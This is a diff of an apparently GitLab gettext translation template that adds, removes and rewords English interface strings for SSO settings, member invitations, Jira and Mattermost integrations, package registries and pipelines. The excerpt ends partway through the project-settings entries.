@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
